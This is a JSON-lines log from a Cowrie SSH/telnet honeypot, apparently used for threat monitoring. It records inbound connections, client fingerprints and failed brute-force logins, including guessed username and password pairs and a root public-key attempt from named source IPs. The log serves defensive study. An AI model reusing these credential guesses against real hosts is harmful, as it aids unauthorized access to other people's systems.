{"eventid":"cowrie.session.closed","duration":31.17522358894348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:21.553470Z","src_ip":"45.148.121.166","session":"047aae61cae7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.749340772628784,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:25.345194Z","src_ip":"128.199.8.54","session":"9755ad1af327","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.973764181137085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:25.641079Z","src_ip":"45.148.121.166","session":"920727572840","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69046664237976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:28.351314Z","src_ip":"45.148.121.166","session":"35d4c0a65651","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.99399018287659,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:29.011300Z","src_ip":"128.199.8.54","session":"d65497e3af36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45482,"dst_ip":"159.203.135.109","dst_port":22,"session":"b311cb982cb4","protocol":"ssh","message":"New connection: 80.94.92.186:45482 (159.203.135.109:22) [session: b311cb982cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:30.724520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:30.898709Z","src_ip":"80.94.92.186","session":"b311cb982cb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:30.902862Z","src_ip":"80.94.92.186","session":"b311cb982cb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.60954976081848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:31.548017Z","src_ip":"45.148.121.166","session":"baf561552462","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:32.267330Z","src_ip":"80.94.92.186","session":"b311cb982cb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":59783,"dst_ip":"10.17.0.5","dst_port":23,"session":"fee209429930","protocol":"telnet","message":"New connection: 49.88.156.34:59783 (10.17.0.5:23) [session: fee209429930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:33.257430Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:33.527716Z","src_ip":"80.94.92.186","session":"b311cb982cb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":40622,"dst_ip":"159.203.135.109","dst_port":23,"session":"6976bc65fb61","protocol":"telnet","message":"New connection: 45.148.121.166:40622 (159.203.135.109:23) [session: 6976bc65fb61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:34.660991Z"}
{"eventid":"cowrie.session.closed","duration":34.03865313529968,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:37.567630Z","src_ip":"128.199.8.54","session":"98f3bb079fee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53066,"dst_ip":"159.203.135.109","dst_port":23,"session":"b54dee67a3b1","protocol":"telnet","message":"New connection: 128.199.8.54:53066 (159.203.135.109:23) [session: b54dee67a3b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:39.175705Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":40634,"dst_ip":"159.203.135.109","dst_port":23,"session":"f38f024f003d","protocol":"telnet","message":"New connection: 45.148.121.166:40634 (159.203.135.109:23) [session: f38f024f003d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:39.788579Z"}
{"eventid":"cowrie.session.closed","duration":33.47598648071289,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:41.287474Z","src_ip":"128.199.8.54","session":"bcaa52a249d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":40640,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea719b299f05","protocol":"telnet","message":"New connection: 45.148.121.166:40640 (159.203.135.109:23) [session: ea719b299f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:42.296608Z"}
{"eventid":"cowrie.session.closed","duration":120.00320243835449,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:44.273205Z","src_ip":"212.55.149.117","session":"2b942116288d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.718245267868042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:45.111956Z","src_ip":"45.148.121.166","session":"c75186f26904","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36512,"dst_ip":"159.203.135.109","dst_port":23,"session":"27fc9ab85f08","protocol":"telnet","message":"New connection: 128.199.8.54:36512 (159.203.135.109:23) [session: 27fc9ab85f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:45.632489Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40258,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecc1c5f27c5c","protocol":"telnet","message":"New connection: 128.199.8.54:40258 (159.203.135.109:23) [session: ecc1c5f27c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:47.436290Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43400,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2f423c72132","protocol":"telnet","message":"New connection: 128.199.8.54:43400 (159.203.135.109:23) [session: b2f423c72132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:47.993578Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35466,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2675449e121","protocol":"telnet","message":"New connection: 128.199.8.54:35466 (159.203.135.109:23) [session: a2675449e121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:48.129358Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56846,"dst_ip":"159.203.135.109","dst_port":23,"session":"09dc94f165d6","protocol":"telnet","message":"New connection: 128.199.8.54:56846 (159.203.135.109:23) [session: 09dc94f165d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:54.394044Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55490,"dst_ip":"159.203.135.109","dst_port":23,"session":"21a8766f4725","protocol":"telnet","message":"New connection: 128.199.8.54:55490 (159.203.135.109:23) [session: 21a8766f4725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:10:54.731991Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38670,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf967a4e461b","protocol":"telnet","message":"New connection: 128.199.8.54:38670 (159.203.135.109:23) [session: bf967a4e461b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:00.392317Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37944,"dst_ip":"159.203.135.109","dst_port":22,"session":"acb8b4237dbc","protocol":"ssh","message":"New connection: 2.57.122.208:37944 (159.203.135.109:22) [session: acb8b4237dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:01.049762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:01.278605Z","src_ip":"2.57.122.208","session":"acb8b4237dbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:01.283763Z","src_ip":"2.57.122.208","session":"acb8b4237dbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:02.514418Z","src_ip":"2.57.122.208","session":"acb8b4237dbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:03.721142Z","src_ip":"2.57.122.208","session":"acb8b4237dbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.20406174659729,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:05.864931Z","src_ip":"45.148.121.166","session":"6976bc65fb61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53720,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b971f62c6cf","protocol":"telnet","message":"New connection: 128.199.8.54:53720 (159.203.135.109:23) [session: 7b971f62c6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:06.922646Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50564,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e8d7a99eb0f","protocol":"telnet","message":"New connection: 128.199.8.54:50564 (159.203.135.109:23) [session: 5e8d7a99eb0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:08.286009Z"}
{"eventid":"cowrie.session.closed","duration":31.085102558135986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:10.873567Z","src_ip":"45.148.121.166","session":"f38f024f003d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":44238,"dst_ip":"159.203.135.109","dst_port":23,"session":"853c9634be06","protocol":"telnet","message":"New connection: 45.148.121.166:44238 (159.203.135.109:23) [session: 853c9634be06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:13.171026Z"}
{"eventid":"cowrie.session.closed","duration":31.57577657699585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:13.872249Z","src_ip":"45.148.121.166","session":"ea719b299f05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":44246,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f9d994efab4","protocol":"telnet","message":"New connection: 45.148.121.166:44246 (159.203.135.109:23) [session: 7f9d994efab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:14.401498Z"}
{"eventid":"cowrie.session.closed","duration":35.234413862228394,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:14.410005Z","src_ip":"128.199.8.54","session":"b54dee67a3b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43136,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f9bfbdc2bd2","protocol":"telnet","message":"New connection: 128.199.8.54:43136 (159.203.135.109:23) [session: 8f9bfbdc2bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:15.586599Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43484,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9d9d9ec55cc","protocol":"telnet","message":"New connection: 128.199.8.54:43484 (159.203.135.109:23) [session: e9d9d9ec55cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:15.759004Z"}
{"eventid":"cowrie.session.closed","duration":33.293604373931885,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:18.925972Z","src_ip":"128.199.8.54","session":"27fc9ab85f08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.450671434402466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:19.579883Z","src_ip":"128.199.8.54","session":"a2675449e121","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.251.182.92","src_port":21884,"dst_ip":"10.17.0.5","dst_port":23,"session":"f95af9d0bd50","protocol":"telnet","message":"New connection: 47.251.182.92:21884 (10.17.0.5:23) [session: f95af9d0bd50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:20.576138Z"}
{"eventid":"cowrie.session.closed","duration":33.8070330619812,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:21.800481Z","src_ip":"128.199.8.54","session":"b2f423c72132","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.70960998535156,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:22.145754Z","src_ip":"128.199.8.54","session":"ecc1c5f27c5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.2540102005004883,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:23.830049Z","src_ip":"47.251.182.92","session":"f95af9d0bd50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.29527735710144,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:28.027139Z","src_ip":"128.199.8.54","session":"21a8766f4725","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.77524971961975,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:31.169170Z","src_ip":"128.199.8.54","session":"09dc94f165d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.01224946975708,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:31.269571Z","src_ip":"49.88.156.34","session":"fee209429930","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43916,"dst_ip":"159.203.135.109","dst_port":23,"session":"93e8afd95216","protocol":"telnet","message":"New connection: 128.199.8.54:43916 (159.203.135.109:23) [session: 93e8afd95216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:31.477020Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.251.182.92","src_port":30098,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a83123d9ebf","protocol":"telnet","message":"New connection: 47.251.182.92:30098 (10.17.0.5:23) [session: 6a83123d9ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:33.907828Z"}
{"eventid":"cowrie.session.closed","duration":0.005372047424316406,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:33.913065Z","src_ip":"47.251.182.92","session":"6a83123d9ebf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.3.52.21","src_port":40708,"dst_ip":"10.17.0.5","dst_port":22,"session":"092d60bd9fdd","protocol":"ssh","message":"New connection: 192.3.52.21:40708 (10.17.0.5:22) [session: 092d60bd9fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:35.198448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:35.203979Z","src_ip":"192.3.52.21","session":"092d60bd9fdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.821393966674805,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:35.213521Z","src_ip":"128.199.8.54","session":"bf967a4e461b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:35.252992Z","src_ip":"192.3.52.21","session":"092d60bd9fdd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:46:77:81:50:61:a8:f4:39:2b:46:58:f1:f1:ba:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjQ5YqrtC7ETRUXyjZdkpoilXnwmd/z9COd0ZDBDJh+yrQ85IOsIHJnRlyUb4R7cU2ryHAT7h5BqV5yayhU0VLq9b3yDjIrTeTS+oRAGGVRD57MmSanqz/pA1xy87GQZLXCaZhVHzEFwxMoLrmjVynOLbdGZm0uSj1kJfHiFbSlFdxbcA+0O9XokPTrWTz33MnNt43VHgyv11PY32W9cgyFZPdPKR/1facnX5Adk3LEB9/1jbCXiKdU5u71hO1KBdEcQUdKAnZhjjMvHn3T0VzQiaiwkUYAM9AFwK274vQibHb1kRAmsqiCTKi4Hc7njVMM9O6ivVSmVEv/rE5T0Lr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:46:77:81:50:61:a8:f4:39:2b:46:58:f1:f1:ba:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:35.452092Z","src_ip":"192.3.52.21","session":"092d60bd9fdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:46:77:81:50:61:a8:f4:39:2b:46:58:f1:f1:ba:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjQ5YqrtC7ETRUXyjZdkpoilXnwmd/z9COd0ZDBDJh+yrQ85IOsIHJnRlyUb4R7cU2ryHAT7h5BqV5yayhU0VLq9b3yDjIrTeTS+oRAGGVRD57MmSanqz/pA1xy87GQZLXCaZhVHzEFwxMoLrmjVynOLbdGZm0uSj1kJfHiFbSlFdxbcA+0O9XokPTrWTz33MnNt43VHgyv11PY32W9cgyFZPdPKR/1facnX5Adk3LEB9/1jbCXiKdU5u71hO1KBdEcQUdKAnZhjjMvHn3T0VzQiaiwkUYAM9AFwK274vQibHb1kRAmsqiCTKi4Hc7njVMM9O6ivVSmVEv/rE5T0Lr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:11:35.456420Z","src_ip":"192.3.52.21","session":"092d60bd9fdd","protocol":"ssh"}
